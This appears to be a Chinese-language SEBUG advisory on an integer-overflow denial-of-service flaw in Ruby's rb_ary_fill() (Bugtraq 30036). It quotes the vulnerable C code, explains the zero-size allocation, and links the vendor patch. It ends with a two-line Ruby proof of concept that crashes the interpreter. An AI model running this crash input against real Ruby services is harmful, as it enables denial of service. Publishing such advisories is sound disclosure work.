BUGTRAQ ID: 30036
Ruby是一种功能强大的面向对象的脚本语言。
Ruby的rb_ary_fill()函数中存在整数溢出漏洞:
rb_ary_modify(ary);
end = beg + len;
if (end < 0) {
rb_raise(rb_eArgError, "argument too big");
}
if (end > RARRAY(ary)->len) {
if (end >= RARRAY(ary)->aux.capa) {
REALLOC_N(RARRAY(ary)->ptr, VALUE, end);
RARRAY(ary)->aux.capa = end;
}
len值由之前的函数递增1,且由用户指定。由于缺少输入检查,可能在以下位置触发整数溢出:
REALLOC_N(RARRAY(ary)->ptr, VALUE, end);
这个宏会分配end * VALUE。在32位架构上VALUE为4,因此如果攻击者指定的值为0x3fffffff的话,宏就会分配0内存区域,在下一次访问ary->ptr的时候就出出现空指针引用。
Ruby rb_ary_fill()函数远程拒绝服务漏洞
Published:2008-07-01
Vulnerable:
Yukihiro Matsumoto Ruby 1.9.x
Yukihiro Matsumoto Ruby 1.8.x
Discription:
<*References
Vincenzo Iozzo (snagg@securenetwork.it)*>
http://marc.info/?l=bugtraq&m=121494001419255&w=2
SEBUG Solution:
Yukihiro Matsumoto
------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://svn.ruby-lang.org/cgi-bin/viewvc.cgi/trunk/array.c?view=markup
------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://svn.ruby-lang.org/cgi-bin/viewvc.cgi/trunk/array.c?view=markup
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
a = []
a.fill("A",0..0x3fffffff)
// Sebug.net [ 2008-07-03 ]